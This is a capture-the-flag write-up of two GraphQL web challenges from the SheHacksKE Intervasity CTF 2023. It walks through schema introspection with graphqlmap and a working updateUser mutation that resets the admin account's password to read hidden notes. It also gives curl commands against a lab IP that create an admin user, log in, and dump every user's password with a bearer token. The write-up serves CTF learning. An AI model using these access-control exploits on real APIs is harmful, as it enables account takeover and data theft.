SheHacksKE Intervasity CTF 2023 Writeup
SheHacksKE Intervasity CTF 2023 Web Writeups
- On friday the 22nd of September 2023 I had an opportunity to take part in the Annual Intervasity CTF from SheHacksKE with some friends from fr334aks under the alias “Seekers” which was partly online and also onsite at USIU Africa, We ended up winning 🥇 beating atleast other 80 teams that had atleast a single solve in the CTF
Graph1
- This was a fairly easy challenge, all that was required of us was to query the flag using the GetFlag query that would fetch the flag from the Flagtable.
Base64 decoding the encoded strings gives the flag :)
Graph2
Spent sometime here as i haven’t solved alot of graphql challenges before, but in the end it was worth it, The challenge as the description said is for one to fetch or retrieve the hidden note, This hidden note probably belonged to an admin. I copied the Introspection Query from Graphql voyager to get a better understanding of the queries, available relationships etc.
I also used graphqlmap to gather more information as well, including mutations and potential injection points or queries that I missed.
what I tried and failed
- Creating a User with user id 1 :x:
- Forging the Session Key (Authentication bearer) to include isAdmin user property as True :x:
- Creating a User with isAdmin user property as True :x:
- Modifying The Note with ID 1 to any title and hence be able to read the new note :x:
What worked
- Modify User with ID 1 to our controlled password (?) and return the current data along with the admin notes :heavy_check_mark:
Solution
1
2GraphQLmap > dump_via_fragment
3============= [SCHEMA] ===============
4e.g: name[Type]: arg (Type!)
5
600: Query
7 findNote[]: id (Int!),
8 userNotes[Notes]:
9 getusers[User]:
10 getFlag[FlagTable]:
1101: Notes
12 id[ID]:
13 title[]:
14 body[]:
15 userId[]:
16 user[]:
1705: User
18 id[ID]:
19 firstName[]:
20 lastName[]:
21 isAdmin[]:
22 email[String]:
23 password[]:
24 notes[Notes]:
2507: FlagTable
26 id[ID]:
27 flag[]:
2808: Mutations
29 addNote[]: body (String!), title (String!),
30 (?) mutation{addNote(body:"string",title:"string"){ result }}
31 updateNote[]: body (String!), noteId (Int!), title (String!),
32 (?) mutation{updateNote(body:"string",noteId:1,title:"string"){ result }}
33 deleteNote[]: id (Int!),
34 (?) mutation{deleteNote(id:1){ result }}
35 createUser[]: email (String!), firstName (String!), lastName (String!), password (String!),
36 (?) mutation{createUser(email:"string",firstName:"string",lastName:"string",password:"string"){ result }}
37 logIn[]: email (String!), password (String!),
38 (?) mutation{logIn(email:"string",password:"string"){ result }}
39 updateUser[]: id (Int!), lastName (String!), password (String!),
40 (?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}
4109: addNote
42 ok[]:
43 note[]:
4410: updateNote
45 ok[]:
46 note[]:
4711: deleteNote
48 ok[]:
49 note[]:
5012: createUser
51 ok[]:
52 user[]:
5313: logIn
54 ok[]:
55 tokens[]:
5614: Token
57 id[ID]:
58 user[]:
59 accessToken[]:
60 refreshToken[]:
6115: updateUser
62 ok[]:
63 user[]:
6416: __Schema
6517: __Type
6619: __Field
6720: __InputValue
6821: __EnumValue
6922: __Directive
As you can see on the updateUser mutation graphqlmap provided us with a sample query that we can use to update user info as
1 updateUser[]: id (Int!), lastName (String!), password (String!),
2 (?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}`
I later modified this query to
1mutation {
2 updateUser(id: 1, lastName: "Admin", password: "admin") {
3 ok
4 user {
5 id
6 email
7 firstName
8 lastName
9 password
10 notes {
11 id
12 title
13 body
14 }
15 }
16 }
17}
which can be defined as
1
2updateUser
3 ok[]:
4 user[]:
5 id[]
6 email[]
7 firstName[]
8 lastName[]
9 password[]
10 notes[]:
11 id[]
12 title[]
13 body[]
- Decode for full flag
Misc
createuser
1curl -X POST -H "Content-Type: application/json" --data '{ "query": "mutation { createUser(firstName: \"NewUser\", lastName: \"Admin\", email: \"newuser@admin.com\", password: \"EasyPassword123\", isAdmin: true) { ok user { id firstName lastName email isAdmin } } }" }' http://128.199.47.43:5000/graphql
login
1curl -X POST \
2-H "Content-Type: application/json" \
3--data '{ "query": "mutation { logIn(email: \"koimet@koimet.com\", password: \"koimet") { ok tokens { accessToken refreshToken } } }" }' \
4http://128.199.47.43:5000/graphql
GetUsers
1curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" --data '{ "query": "{ getusers { firstName lastName isAdmin email password notes { id title body userId } } }" }' http://128.199.47.43:5000/graphql
userNotes
1curl -X POST \
2-H "Content-Type: application/json" \
3-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" \
4--data '{ "query": "{ userNotes { id title body userId user { firstName lastName } } }" }' \
5http://128.199.47.43:5000/graphql
References
⚫ hacktricks ⚫ ctftime